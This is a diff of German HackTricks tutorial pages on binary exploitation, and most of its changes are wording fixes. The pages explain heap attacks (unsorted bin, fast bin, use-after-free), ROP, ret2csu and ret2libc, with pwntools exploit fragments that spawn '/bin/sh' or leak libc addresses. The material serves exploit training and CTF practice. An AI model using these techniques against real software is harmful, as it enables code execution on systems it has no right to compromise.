+- Dann wird chunk1 freigegeben und chunk0 wird überlaufen, sodass der `bk`-Zeiger von chunk1 aufzeigt: `bk = magic - 0x10`
 - Dann wird chunk3 mit der gleichen Größe wie chunk1 allokiert, was den unsortierten Bin-Angriff auslöst und den Wert der globalen Variable ändert, wodurch es möglich wird, die Flagge zu erhalten.
 - [**https://guyinatuxedo.github.io/31-unsortedbin_attack/0ctf16_zerostorage/index.html**](https://guyinatuxedo.github.io/31-unsortedbin_attack/0ctf16_zerostorage/index.html)
 - Die Merge-Funktion ist anfällig, da sie, wenn beide übergebenen Indizes gleich sind, darauf realloc und dann freigibt, aber einen Zeiger auf diesen freigegebenen Bereich zurückgibt, der verwendet werden kann.
 - Daher werden **2 Chunks erstellt**: **chunk0**, das mit sich selbst zusammengeführt wird, und chunk1, um die Konsolidierung mit dem Top-Chunk zu verhindern. Dann wird die **Merge-Funktion mit chunk0** zweimal aufgerufen, was zu einem Use-After-Free führt.
 - Dann wird die **`view`**-Funktion mit Index 2 (der Index des Use-After-Free-Chunks) aufgerufen, was **eine libc-Adresse leakt**.
 - Da die Binärdatei Schutzmaßnahmen hat, um nur Malloc-Größen größer als **`global_max_fast`** zuzulassen, wird ein unsortierter Bin-Angriff verwendet, um die globale Variable `global_max_fast` zu überschreiben.
-- Dann ist es möglich, die Edit-Funktion mit Index 2 (dem Use-After-Free-Zeiger) aufzurufen und den `bk`-Zeiger so zu überschreiben, dass er auf `p64(global_max_fast-0x10)` zeigt. Dann wird ein neuer Chunk erstellt, der die zuvor kompromittierte freigegebene Adresse (0x20) verwendet, was den **unsortierten Bin-Angriff** auslöst, der `global_max_fast` mit einem sehr großen Wert überschreibt, wodurch jetzt Chunks in Fast Bins erstellt werden können.
+- Dann ist es möglich, die Edit-Funktion mit Index 2 (dem Use-After-Free-Zeiger) aufzurufen und den `bk`-Zeiger so zu überschreiben, dass er auf `p64(global_max_fast-0x10)` zeigt. Dann wird ein neuer Chunk erstellt, der die zuvor kompromittierte freigegebene Adresse (0x20) verwendet, was den **unsortierten Bin-Angriff** auslöst, der `global_max_fast` überschreibt, was einen sehr großen Wert hat, wodurch jetzt Chunks in Fast Bins erstellt werden können.
 - Jetzt wird ein **Fast Bin Angriff** durchgeführt:
-- Zunächst wird entdeckt, dass es möglich ist, mit Fast **Chunks der Größe 200** im **`__free_hook`**-Bereich zu arbeiten:
+- Zunächst wird entdeckt, dass es möglich ist, mit schnellen **Chunks der Größe 200** im **`__free_hook`**-Bereich zu arbeiten:
 - <pre class="language-c"><code class="lang-c">gef➤  p &__free_hook
 $1 = (void (**)(void *, const void *)) 0x7ff1e9e607a8 <__free_hook>
 gef➤  x/60gx 0x7ff1e9e607a8 - 0x59
@@ -58,7 +58,7 @@ gef➤  x/60gx 0x7ff1e9e607a8 - 0x59
 0x7ff1e9e6076f <list_all_lock+15>:      0x0000000000000000      0x0000000000000000
 0x7ff1e9e6077f <_IO_stdfile_2_lock+15>: 0x0000000000000000      0x0000000000000000
 </code></pre>
-- Wenn es uns gelingt, einen Fast Chunk der Größe 0x200 an diesem Ort zu erhalten, wird es möglich sein, einen Funktionszeiger zu überschreiben, der ausgeführt wird.
+- Wenn es uns gelingt, einen schnellen Chunk der Größe 0x200 an diesem Ort zu erhalten, wird es möglich sein, einen Funktionszeiger zu überschreiben, der ausgeführt wird.
 - Dazu wird ein neuer Chunk der Größe `0xfc` erstellt und die Merge-Funktion wird mit diesem Zeiger zweimal aufgerufen, sodass wir einen Zeiger auf einen freigegebenen Chunk der Größe `0xfc*2 = 0x1f8` im Fast Bin erhalten.
 - Dann wird die Edit-Funktion in diesem Chunk aufgerufen, um die **`fd`**-Adresse dieses Fast Bins so zu ändern, dass sie auf die vorherige **`__free_hook`**-Funktion zeigt.
 - Dann wird ein Chunk der Größe `0x1f8` erstellt, um den vorherigen nutzlosen Chunk aus dem Fast Bin abzurufen, sodass ein weiterer Chunk der Größe `0x1f8` erstellt wird, um einen Fast Bin Chunk im **`__free_hook`** zu erhalten, der mit der Adresse der **`system`**-Funktion überschrieben wird.
@@ -68,6 +68,6 @@ gef➤  x/60gx 0x7ff1e9e607a8 - 0x59
 - [**Robot Factory. BlackHat MEA CTF 2022**](https://7rocky.github.io/en/ctf/other/blackhat-ctf/robot-factory/)
 - Wir können nur Chunks mit einer Größe größer als `0x100` allokieren.
 - Überschreiben von `global_max_fast` mit einem Unsorted Bin-Angriff (funktioniert 1/16 Mal aufgrund von ASLR, da wir 12 Bits modifizieren müssen, aber 16 Bits modifizieren müssen).
-- Fast Bin-Angriff, um ein globales Array von Chunks zu modifizieren. Dies gibt eine beliebige Lese-/Schreibprimitive, die es ermöglicht, die GOT zu modifizieren und einige Funktionen auf `system` zu zeigen.
+- Fast Bin-Angriff zur Modifikation eines globalen Arrays von Chunks. Dies gibt eine beliebige Lese-/Schreibprimitive, die es ermöglicht, die GOT zu modifizieren und einige Funktionen auf `system` zu zeigen.
 
 {{#include ../../banners/hacktricks-training.md}}

src/binary-exploitation/libc-heap/use-after-free/README.md

@@ -4,13 +4,13 @@
 
 ## Grundinformationen
 
-Wie der Name schon sagt, tritt diese Schwachstelle auf, wenn ein Programm **Speicherplatz** im Heap für ein Objekt **speichert**, dort einige Informationen **schreibt**, es anscheinend **freigibt**, weil es nicht mehr benötigt wird, und dann **darauf erneut zugreift**.
+Wie der Name schon sagt, tritt diese Schwachstelle auf, wenn ein Programm **Speicherplatz** im Heap für ein Objekt **speichert**, dort einige Informationen **schreibt**, es anscheinend **freigibt**, weil es nicht mehr benötigt wird, und dann **darauf wieder zugreift**.
 
-Das Problem hierbei ist, dass es nicht illegal ist (es **wird keine Fehler geben**), wenn auf **freigegebenen Speicher zugegriffen wird**. Wenn das Programm (oder der Angreifer) es schafft, **den freigegebenen Speicher zuzuweisen und beliebige Daten zu speichern**, würde beim Zugriff auf den freigegebenen Speicher von dem ursprünglichen Zeiger **die Daten überschrieben worden sein**, was eine **Schwachstelle verursacht, die von der Sensibilität der ursprünglich gespeicherten Daten abhängt** (wenn es sich um einen Zeiger auf eine Funktion handelte, die aufgerufen werden sollte, könnte ein Angreifer die Kontrolle darüber erlangen).
+Das Problem hierbei ist, dass es nicht illegal ist (es **wird keine Fehler geben**), wenn auf **freigegebenen Speicher zugegriffen wird**. Wenn das Programm (oder der Angreifer) es schafft, **den freigegebenen Speicher zuzuweisen und beliebige Daten zu speichern**, würde beim Zugriff auf den freigegebenen Speicher von dem ursprünglichen Zeiger **diese Daten überschrieben worden sein**, was eine **Schwachstelle verursacht, die von der Sensibilität der ursprünglich gespeicherten Daten abhängt** (wenn es sich um einen Zeiger auf eine Funktion handelte, die aufgerufen werden sollte, könnte ein Angreifer die Kontrolle darüber erlangen).
 
 ### First Fit-Angriff
 
-Ein First Fit-Angriff zielt auf die Art und Weise ab, wie einige Speicher-Allocator, wie in glibc, freigegebenen Speicher verwalten. Wenn Sie einen Block Speicher freigeben, wird er einer Liste hinzugefügt, und neue Speicheranforderungen werden von dieser Liste vom Ende abgerufen. Angreifer können dieses Verhalten nutzen, um **zu manipulieren, welche Speicherblöcke wiederverwendet werden, und potenziell die Kontrolle über sie zu erlangen**. Dies kann zu "Use-After-Free"-Problemen führen, bei denen ein Angreifer **den Inhalt des Speichers ändern könnte, der erneut zugewiesen wird**, was ein Sicherheitsrisiko darstellt.\
+Ein First Fit-Angriff zielt auf die Art und Weise ab, wie einige Speicher-Allocator, wie in glibc, freigegebenen Speicher verwalten. Wenn Sie einen Block Speicher freigeben, wird er einer Liste hinzugefügt, und neue Speicheranforderungen ziehen von dieser Liste vom Ende. Angreifer können dieses Verhalten nutzen, um **zu manipulieren, welche Speicherblöcke wiederverwendet werden, und potenziell die Kontrolle über sie zu erlangen**. Dies kann zu "Use-After-Free"-Problemen führen, bei denen ein Angreifer **den Inhalt des Speichers ändern könnte, der neu zugewiesen wird**, was ein Sicherheitsrisiko darstellt.\
 Weitere Informationen finden Sie in:
 
 {{#ref}}

src/binary-exploitation/rop-return-oriented-programing/README.md

@@ -14,7 +14,7 @@
 
 ### Werkzeuge
 
-Typischerweise können Gadgets mit [**ROPgadget**](https://github.com/JonathanSalwan/ROPgadget), [**ropper**](https://github.com/sashs/Ropper) oder direkt von **pwntools** ([ROP](https://docs.pwntools.com/en/stable/rop/rop.html)) gefunden werden.
+Typischerweise können Gadgets mit [**ROPgadget**](https://github.com/JonathanSalwan/ROPgadget), [**ropper**](https://github.com/sashs/Ropper) oder direkt aus **pwntools** ([ROP](https://docs.pwntools.com/en/stable/rop/rop.html)) gefunden werden.
 
 ## ROP-Kette im x86-Beispiel
 
@@ -39,7 +39,7 @@ Mit **pwntools** bereiten wir den Stack für die Ausführung der ROP-Kette wie f
 1. Einer `ret`-Anweisung zu Alignierungszwecken (optional)
 2. Adresse der `system`-Funktion (vorausgesetzt, ASLR ist deaktiviert und libc ist bekannt, mehr Informationen in [**Ret2lib**](ret2lib/index.html))
 3. Platzhalter für die Rücksprungadresse von `system()`
-4. Adresse des `"/bin/sh"`-Strings (Parameter für die Systemfunktion)
+4. `"/bin/sh"`-Stringadresse (Parameter für die Systemfunktion)
 ```python
 from pwn import *
 
@@ -73,7 +73,7 @@ payload = fit({offset: rop_chain})
 p.sendline(payload)
 p.interactive()
 ```
-## ROP-Kette in x64 Beispiel
+## ROP-Kette im x64 Beispiel
 
 ### **x64 (64-Bit) Aufrufkonventionen**
 
@@ -83,12 +83,12 @@ p.interactive()
 
 #### **Gadgets Finden**
 
-Für unseren Zweck konzentrieren wir uns auf Gadgets, die es uns ermöglichen, das **RDI**-Register (um den **"/bin/sh"**-String als Argument an **system()** zu übergeben) zu setzen und dann die **system()**-Funktion aufzurufen. Wir nehmen an, dass wir die folgenden Gadgets identifiziert haben:
+Für unseren Zweck konzentrieren wir uns auf Gadgets, die es uns ermöglichen, das **RDI**-Register (um den **"/bin/sh"** String als Argument an **system()** zu übergeben) zu setzen und dann die **system()** Funktion aufzurufen. Wir nehmen an, dass wir die folgenden Gadgets identifiziert haben:
 
 - **pop rdi; ret**: Poppt den obersten Wert des Stacks in **RDI** und gibt dann zurück. Essentiell für das Setzen unseres Arguments für **system()**.
 - **ret**: Ein einfacher Rückgabewert, nützlich für die Stack-Ausrichtung in einigen Szenarien.
 
-Und wir kennen die Adresse der **system()**-Funktion.
+Und wir kennen die Adresse der **system()** Funktion.
 
 ### **ROP-Kette**
 
@@ -140,7 +140,7 @@ In diesem Beispiel:
 ## Hauptunterschied zwischen x86 und x64
 
 > [!TIP]
-> Da **x64 Register für die ersten paar Argumente verwendet,** erfordert es oft weniger Gadgets als x86 für einfache Funktionsaufrufe, aber das Finden und Verketten der richtigen Gadgets kann aufgrund der erhöhten Anzahl von Registern und des größeren Adressraums komplexer sein. Die erhöhte Anzahl von Registern und der größere Adressraum in der **x64** Architektur bieten sowohl Chancen als auch Herausforderungen für die Entwicklung von Exploits, insbesondere im Kontext von Return-Oriented Programming (ROP).
+> Da **x64 Register für die ersten paar Argumente verwendet,** erfordert es oft weniger Gadgets als x86 für einfache Funktionsaufrufe, aber das Finden und Verketten der richtigen Gadgets kann aufgrund der erhöhten Anzahl von Registern und des größeren Adressraums komplexer sein. Die erhöhte Anzahl von Registern und der größere Adressraum in der **x64** Architektur bieten sowohl Chancen als auch Herausforderungen für die Exploit-Entwicklung, insbesondere im Kontext von Return-Oriented Programming (ROP).
 
 ## ROP-Kette im ARM64 Beispiel
 
@@ -174,7 +174,7 @@ ret2lib/
 rop-syscall-execv/
 {{#endref}}
 
-- **EBP2Ret & EBP Chaining**: Der erste wird EBP anstelle von EIP missbrauchen, um den Fluss zu steuern, und der zweite ist ähnlich wie Ret2lib, aber in diesem Fall wird der Fluss hauptsächlich mit EBP-Adressen gesteuert (obwohl es auch notwendig ist, EIP zu steuern).
+- **EBP2Ret & EBP Chaining**: Der erste wird EBP anstelle von EIP ausnutzen, um den Fluss zu steuern, und der zweite ist ähnlich wie Ret2lib, aber in diesem Fall wird der Fluss hauptsächlich mit EBP-Adressen gesteuert (obwohl auch EIP kontrolliert werden muss).
 
 {{#ref}}
 ../stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md
@@ -184,7 +184,7 @@ rop-syscall-execv/
 
 - [https://ir0nstone.gitbook.io/notes/types/stack/return-oriented-programming/exploiting-calling-conventions](https://ir0nstone.gitbook.io/notes/types/stack/return-oriented-programming/exploiting-calling-conventions)
 - [https://guyinatuxedo.github.io/15-partial_overwrite/hacklu15_stackstuff/index.html](https://guyinatuxedo.github.io/15-partial_overwrite/hacklu15_stackstuff/index.html)
-- 64 Bit, Pie und nx aktiviert, kein Canary, überschreiben von RIP mit einer `vsyscall` Adresse mit dem alleinigen Zweck, zur nächsten Adresse im Stack zurückzukehren, die eine partielle Überschreibung der Adresse sein wird, um den Teil der Funktion zu erhalten, der das Flag ausgibt.
+- 64 Bit, Pie und nx aktiviert, kein Canary, überschreiben von RIP mit einer `vsyscall` Adresse mit dem alleinigen Zweck, zur nächsten Adresse im Stack zurückzukehren, die eine partielle Überschreibung der Adresse ist, um den Teil der Funktion zu erhalten, der das Flag ausgibt.
 - [https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/](https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/)
 - arm64, kein ASLR, ROP Gadget, um den Stack ausführbar zu machen und zu Shellcode im Stack zu springen.
 

src/binary-exploitation/rop-return-oriented-programing/ret2csu.md

@@ -28,14 +28,14 @@ Dieses Gadget ermöglicht es uns, diese Register zu steuern, indem wir Werte vom
 
 2. Die zweite Sequenz verwendet die Werte, die wir eingerichtet haben, um ein paar Dinge zu tun:
 - **Bestimmte Werte in andere Register verschieben**, um sie bereit zu machen, dass wir sie als Parameter in Funktionen verwenden können.
-- **Einen Aufruf zu einem Ort durchführen**, der bestimmt wird, indem die Werte in r15 und rbx zusammenaddiert und dann rbx mit 8 multipliziert wird.
+- **Einen Aufruf zu einem Ort durchführen**, der bestimmt wird, indem die Werte in r15 und rbx zusammenaddiert und dann rbx mit 8 multipliziert werden.
 ```armasm
 mov rdx, r15;
 mov rsi, r14;
 mov edi, r13d;
 call qword [r12 + rbx*8];
 ```
-3. Vielleicht kennst du keine Adresse, um dort zu schreiben, und du **brauchst eine `ret`-Anweisung**. Beachte, dass das zweite Gadget ebenfalls **mit einem `ret` enden wird**, aber du musst einige **Bedingungen** erfüllen, um es zu erreichen:
+3. Vielleicht kennst du keine Adresse, um dort zu schreiben, und du **brauchst eine `ret`-Anweisung**. Beachte, dass das zweite Gadget ebenfalls **mit einem `ret` endet**, aber du musst einige **Bedingungen** erfüllen, um es zu erreichen:
 ```armasm
 mov rdx, r15;
 mov rsi, r14;
@@ -49,7 +49,7 @@ ret
 ```
 Die Bedingungen sind:
 
-- `[r12 + rbx*8]` muss auf eine Adresse zeigen, die eine aufrufbare Funktion speichert (wenn keine Idee und kein pie, kannst du einfach die `_init`-Funktion verwenden):
+- `[r12 + rbx*8]` muss auf eine Adresse zeigen, die eine aufrufbare Funktion speichert (wenn keine Idee und kein Pie, kannst du einfach die `_init`-Funktion verwenden):
 - Wenn \_init bei `0x400560` ist, verwende GEF, um einen Zeiger im Speicher darauf zu suchen und mache `[r12 + rbx*8]` zur Adresse mit dem Zeiger auf \_init:
 ```bash
 # Example from https://guyinatuxedo.github.io/18-ret2_csu_dl/ropemporium_ret2csu/index.html
@@ -61,7 +61,7 @@ gef➤  search-pattern 0x400560
 0x600e38 - 0x600e44  →   "\x60\x05\x40[...]"
 ```
 - `rbp` und `rbx` müssen den gleichen Wert haben, um den Sprung zu vermeiden
-- Es gibt einige ausgelassene Pops, die Sie berücksichtigen müssen
+- Es gibt einige ausgelassene Pops, die du berücksichtigen musst
 
 ## RDI und RSI
 
@@ -69,7 +69,7 @@ Eine weitere Möglichkeit, **`rdi`** und **`rsi`** vom ret2csu-Gadget zu steuern
 
 <figure><img src="../../images/image (2) (1) (1) (1) (1) (1) (1) (1).png" alt="" width="283"><figcaption><p><a href="https://www.scs.stanford.edu/brop/bittau-brop.pdf">https://www.scs.stanford.edu/brop/bittau-brop.pdf</a></p></figcaption></figure>
 
-Überprüfen Sie diese Seite für weitere Informationen:
+Sieh dir diese Seite für weitere Informationen an:
 
 
 {{#ref}}
@@ -80,14 +80,14 @@ brop-blind-return-oriented-programming.md
 
 ### Verwendung des Aufrufs
 
-Stellen Sie sich vor, Sie möchten einen Syscall durchführen oder eine Funktion wie `write()` aufrufen, benötigen jedoch spezifische Werte in den Registern `rdx` und `rsi` als Parameter. Normalerweise würden Sie nach Gadgets suchen, die diese Register direkt setzen, aber Sie können keine finden.
+Stell dir vor, du möchtest einen Syscall machen oder eine Funktion wie `write()` aufrufen, benötigst jedoch spezifische Werte in den Registern `rdx` und `rsi` als Parameter. Normalerweise würdest du nach Gadgets suchen, die diese Register direkt setzen, aber du kannst keine finden.
 
 Hier kommt **ret2csu** ins Spiel:
 
-1. **Register einrichten**: Verwenden Sie das erste magische Gadget, um Werte vom Stack in rbx, rbp, r12 (edi), r13 (rsi), r14 (rdx) und r15 zu poppen.
+1. **Registriere die Register einrichten**: Verwende das erste magische Gadget, um Werte vom Stack in rbx, rbp, r12 (edi), r13 (rsi), r14 (rdx) und r15 zu poppen.
-2. **Das zweite Gadget verwenden**: Mit diesen gesetzten Registern verwenden Sie das zweite Gadget. Dies ermöglicht es Ihnen, Ihre gewählten Werte in `rdx` und `rsi` (von r14 und r13) zu verschieben und die Parameter für einen Funktionsaufruf vorzubereiten. Darüber hinaus können Sie durch die Kontrolle von `r15` und `rbx` das Programm dazu bringen, eine Funktion an der Adresse aufzurufen, die Sie berechnen und in `[r15 + rbx*8]` platzieren.
+2. **Verwende das zweite Gadget**: Mit diesen gesetzten Registern verwendest du das zweite Gadget. Dies ermöglicht es dir, deine gewählten Werte in `rdx` und `rsi` (von r14 und r13) zu verschieben und die Parameter für einen Funktionsaufruf vorzubereiten. Darüber hinaus kannst du durch die Kontrolle von `r15` und `rbx` das Programm dazu bringen, eine Funktion an der Adresse aufzurufen, die du berechnest und in `[r15 + rbx*8]` platzierst.
 
-Sie haben ein [**Beispiel, das diese Technik verwendet und es hier erklärt**](https://ir0nstone.gitbook.io/notes/types/stack/ret2csu/exploitation), und dies ist der endgültige Exploit, den es verwendet hat:
+Du hast ein [**Beispiel, das diese Technik verwendet und sie hier erklärt**](https://ir0nstone.gitbook.io/notes/types/stack/ret2csu/exploitation), und dies ist der finale Exploit, den es verwendet hat:
 ```python
 from pwn import *
 
@@ -112,9 +112,9 @@ p.sendline(p64(elf.sym['win']))            # send to gets() so it's written
 print(p.recvline())                        # should receive "Awesome work!"
 ```
 > [!WARNING]
-> Beachten Sie, dass der vorherige Exploit nicht dazu gedacht ist, ein **`RCE`** durchzuführen, sondern lediglich eine Funktion namens **`win`** aufzurufen (indem die Adresse von `win` aus stdin, die in der ROP-Kette aufgerufen wird, entnommen und in r15 gespeichert wird) mit einem dritten Argument mit dem Wert `0xdeadbeefcafed00d`.
+> Beachten Sie, dass der vorherige Exploit nicht dazu gedacht ist, ein **`RCE`** durchzuführen, sondern lediglich eine Funktion namens **`win`** aufzurufen (indem die Adresse von `win` aus stdin, die in der ROP-Kette aufgerufen wird, in r15 gespeichert wird) mit einem dritten Argument mit dem Wert `0xdeadbeefcafed00d`.
 
-### Umgehen des Aufrufs und Erreichen von ret
+### Umgehung des Aufrufs und Erreichen von ret
 
 Der folgende Exploit wurde [**von dieser Seite**](https://guyinatuxedo.github.io/18-ret2_csu_dl/ropemporium_ret2csu/index.html) extrahiert, wo das **ret2csu** verwendet wird, aber anstelle des Aufrufs wird **die Überprüfung umgangen und das `ret`** nach dem Aufruf erreicht:
 ```python
@@ -168,6 +168,6 @@ target.interactive()
 ```
 ### Warum nicht einfach libc direkt verwenden?
 
-In der Regel sind diese Fälle auch anfällig für [**ret2plt**](../common-binary-protections-and-bypasses/aslr/ret2plt.md) + [**ret2lib**](ret2lib/index.html), aber manchmal müssen Sie mehr Parameter steuern, als mit den Gadgets, die Sie direkt in libc finden, leicht kontrolliert werden können. Zum Beispiel erfordert die `write()`-Funktion drei Parameter, und **es könnte nicht möglich sein, Gadgets zu finden, um all diese direkt zu setzen**.
+In der Regel sind diese Fälle auch anfällig für [**ret2plt**](../common-binary-protections-and-bypasses/aslr/ret2plt.md) + [**ret2lib**](ret2lib/index.html), aber manchmal müssen Sie mehr Parameter steuern, als mit den Gadgets, die Sie direkt in libc finden, leicht kontrolliert werden können. Zum Beispiel erfordert die `write()`-Funktion drei Parameter, und **das Finden von Gadgets, um all diese direkt zu setzen, könnte nicht möglich sein**.
 
 {{#include ../../banners/hacktricks-training.md}}

src/binary-exploitation/rop-return-oriented-programing/ret2lib/README.md

@@ -4,12 +4,12 @@
 
 ## **Grundinformationen**
 
-Die Essenz von **Ret2Libc** besteht darin, den Ausführungsfluss eines verwundbaren Programms zu einer Funktion innerhalb einer gemeinsamen Bibliothek (z. B. **system**, **execve**, **strcpy**) umzuleiten, anstatt vom Angreifer bereitgestellten Shellcode auf dem Stack auszuführen. Der Angreifer erstellt ein Payload, das die Rücksprungadresse auf dem Stack so ändert, dass sie auf die gewünschte Bibliotheksfunktion zeigt, während auch sichergestellt wird, dass alle erforderlichen Argumente gemäß der Aufrufkonvention korrekt eingerichtet sind.
+Die Essenz von **Ret2Libc** besteht darin, den Ausführungsfluss eines verwundbaren Programms zu einer Funktion innerhalb einer gemeinsamen Bibliothek (z. B. **system**, **execve**, **strcpy**) umzuleiten, anstatt vom Angreifer bereitgestellten Shellcode auf dem Stack auszuführen. Der Angreifer erstellt ein Payload, das die Rücksprungadresse auf dem Stack so modifiziert, dass sie auf die gewünschte Bibliotheksfunktion zeigt, während auch sichergestellt wird, dass alle erforderlichen Argumente gemäß der Aufrufkonvention korrekt eingerichtet sind.
 
 ### **Beispielschritte (vereinfacht)**
 
 - Holen Sie sich die Adresse der aufzurufenden Funktion (z. B. system) und den Befehl, der aufgerufen werden soll (z. B. /bin/sh)
-- Erzeugen Sie eine ROP-Kette, um das erste Argument, das auf die Befehlszeichenfolge zeigt, und den Ausführungsfluss zur Funktion zu übergeben
+- Generieren Sie eine ROP-Kette, um das erste Argument, das auf die Befehlszeichenfolge zeigt, und den Ausführungsfluss zur Funktion zu übergeben
 
 ## Adressen finden
 
@@ -39,7 +39,7 @@ find "/bin/sh"
 ```
 ### Verwendung von /proc/\<PID>/maps
 
-Wenn der Prozess **Kinder** erstellt, jedes Mal wenn Sie mit ihm sprechen (Netzwerkserver), versuchen Sie, diese Datei zu **lesen** (wahrscheinlich müssen Sie root sein).
+Wenn der Prozess **Kinder** erstellt, jedes Mal, wenn Sie mit ihm sprechen (Netzwerkserver), versuchen Sie, diese Datei zu **lesen** (wahrscheinlich müssen Sie root sein).
 
 Hier können Sie **genau sehen, wo die libc im Prozess geladen ist** und **wo sie für jedes Kind des Prozesses geladen wird**.
 
@@ -69,7 +69,7 @@ rop-leaking-libc-address/rop-leaking-libc-template.md
 
 ## ASLR in 32 Bit umgehen
 
-Diese Brute-Force-Angriffe sind **nur nützlich für 32-Bit-Systeme**.
+Diese Brute-Force-Angriffe sind **nur für 32-Bit-Systeme nützlich**.
 
 - Wenn der Exploit lokal ist, können Sie versuchen, die Basisadresse von libc zu brute-forcen (nützlich für 32-Bit-Systeme):
 ```python
@@ -114,9 +114,9 @@ c.interactive()
 
 ## ARM64 Ret2lib Beispiel
 
-Im Fall von ARM64 springt die ret-Anweisung zu dem, worauf das x30-Register zeigt, und nicht zu dem, worauf das Stack-Register zeigt. Es ist also etwas komplizierter.
+Im Fall von ARM64 springt die ret-Anweisung dorthin, wo das x30-Register zeigt, und nicht dorthin, wo das Stack-Register zeigt. Es ist also etwas komplizierter.
 
-Außerdem führt eine Anweisung in ARM64 genau das aus, was die Anweisung tut (es ist nicht möglich, mitten in Anweisungen zu springen und sie in neue zu transformieren).
+Außerdem führt in ARM64 eine Anweisung das aus, was die Anweisung tut (es ist nicht möglich, mitten in Anweisungen zu springen und sie in neue zu transformieren).
 
 Überprüfen Sie das Beispiel von:
 
@@ -143,11 +143,11 @@ Das bedeutet im Grunde, eine **Ret2lib auszunutzen, um sie in eine `printf`-Form
 - [https://guyinatuxedo.github.io/08-bof_dynamic/csaw19_babyboi/index.html](https://guyinatuxedo.github.io/08-bof_dynamic/csaw19_babyboi/index.html)
 - Ret2lib, gegeben ein Leak zur Adresse einer Funktion in libc, unter Verwendung eines Gadgets
 - [https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html](https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html)
-- 64 Bit, ASLR aktiviert, aber kein PIE, der erste Schritt ist, einen Überlauf bis zum Byte 0x00 des Canary zu füllen, um dann puts aufzurufen und es zu leaken. Mit dem Canary wird ein ROP-Gadget erstellt, um puts aufzurufen, um die Adresse von puts aus der GOT zu leaken, und ein ROP-Gadget, um `system('/bin/sh')` aufzurufen.
+- 64 Bit, ASLR aktiviert, aber kein PIE, der erste Schritt ist, einen Überlauf zu füllen, bis das Byte 0x00 des Canary erreicht ist, um dann puts aufzurufen und es zu leaken. Mit dem Canary wird ein ROP-Gadget erstellt, um puts aufzurufen, um die Adresse von puts aus der GOT zu leaken, und ein ROP-Gadget, um `system('/bin/sh')` aufzurufen.
 - [https://guyinatuxedo.github.io/08-bof_dynamic/fb19_overfloat/index.html](https://guyinatuxedo.github.io/08-bof_dynamic/fb19_overfloat/index.html)
 - 64 Bit, ASLR aktiviert, kein Canary, Stack-Overflow in main von einer Kindfunktion. ROP-Gadget, um puts aufzurufen, um die Adresse von puts aus der GOT zu leaken, und dann ein Gadget aufzurufen.
 - [https://guyinatuxedo.github.io/08-bof_dynamic/hs19_storytime/index.html](https://guyinatuxedo.github.io/08-bof_dynamic/hs19_storytime/index.html)
-- 64 Bit, kein PIE, kein Canary, kein RELRO, NX. Verwendet die write-Funktion, um die Adresse von write (libc) zu leaken, und ruft ein Gadget auf.
+- 64 Bit, kein PIE, kein Canary, kein RELRO, NX. Verwendet die write-Funktion, um die Adresse von write (libc) zu leaken und ruft ein Gadget auf.
 - [https://guyinatuxedo.github.io/14-ret_2_system/asis17_marymorton/index.html](https://guyinatuxedo.github.io/14-ret_2_system/asis17_marymorton/index.html)
 - Verwendet einen Format-String, um den Canary vom Stack zu leaken, und einen Buffer-Overflow, um in system (es ist in der GOT) mit der Adresse von `/bin/sh` zu gelangen.
 - [https://guyinatuxedo.github.io/14-ret_2_system/tu_guestbook/index.html](https://guyinatuxedo.github.io/14-ret_2_system/tu_guestbook/index.html)

src/binary-exploitation/rop-return-oriented-programing/ret2lib/rop-leaking-libc-address/README.md

@@ -32,9 +32,9 @@ return 0;
 ```bash
 gcc -o vuln vuln.c -fno-stack-protector -no-pie
 ```
-## ROP - Leaking LIBC template
+## ROP - Leaking LIBC Vorlage
 
-Lade den Exploit herunter und platziere ihn im selben Verzeichnis wie die verwundbare Binary und gib die benötigten Daten an das Skript weiter:
+Lade den Exploit herunter und platziere ihn im selben Verzeichnis wie die verwundbare Binärdatei und gib die benötigten Daten an das Skript weiter:
 
 
 {{#ref}}
@@ -58,7 +58,7 @@ r.sendline(payload)
 #cyclic_find(0x6161616b) # Find the offset of those bytes
 return
 ```
-**Führen Sie** `python template.py` aus, ein GDB-Konsole wird geöffnet mit dem Programm, das abgestürzt ist. Führen Sie in dieser **GDB-Konsole** `x/wx $rsp` aus, um die **Bytes** zu erhalten, die den RIP überschreiben sollten. Holen Sie sich schließlich den **Offset** mit einer **Python**-Konsole:
+**Führen Sie** `python template.py` aus, eine GDB-Konsole wird mit dem abgestürzten Programm geöffnet. Führen Sie in dieser **GDB-Konsole** `x/wx $rsp` aus, um die **Bytes** zu erhalten, die den RIP überschreiben werden. Holen Sie sich schließlich den **Offset** mit einer **Python**-Konsole:
 ```python
 from pwn import *
 cyclic_find(0x6161616b)
@@ -72,7 +72,7 @@ Eine andere Möglichkeit wäre: `pattern create 1000` -- _ausführen bis ret_ --
 
 ## 2- Gadgets finden
 
-Jetzt müssen wir ROP-Gadgets im Binärprogramm finden. Diese ROP-Gadgets werden nützlich sein, um `puts` aufzurufen, um die verwendete **libc** zu finden, und später, um **den endgültigen Exploit zu starten**.
+Jetzt müssen wir ROP-Gadgets im Binärdatei finden. Diese ROP-Gadgets werden nützlich sein, um `puts` aufzurufen, um die verwendete **libc** zu finden, und später um **den endgültigen Exploit zu starten**.
 ```python
 PUTS_PLT = elf.plt['puts'] #PUTS_PLT = elf.symbols["puts"] # This is also valid to call puts
 MAIN_PLT = elf.symbols['main']
@@ -124,9 +124,9 @@ Um dies zu tun, ist die wichtigste Zeile des ausgeführten Codes:
 ```python
 rop1 = OFFSET + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT)
 ```
-Dies wird einige Bytes senden, bis **Überschreiben** des **RIP** möglich ist: `OFFSET`.\
+Dies wird einige Bytes senden, bis das **Überschreiben** des **RIP** möglich ist: `OFFSET`.\
-Dann wird die **Adresse** des Gadgets `POP_RDI` gesetzt, sodass die nächste Adresse (`FUNC_GOT`) im **RDI**-Register gespeichert wird. Das liegt daran, dass wir **puts aufrufen** möchten, indem wir ihm die **Adresse** von `PUTS_GOT` übergeben, da die Adresse im Speicher der puts-Funktion in der Adresse gespeichert ist, die auf `PUTS_GOT` zeigt.\
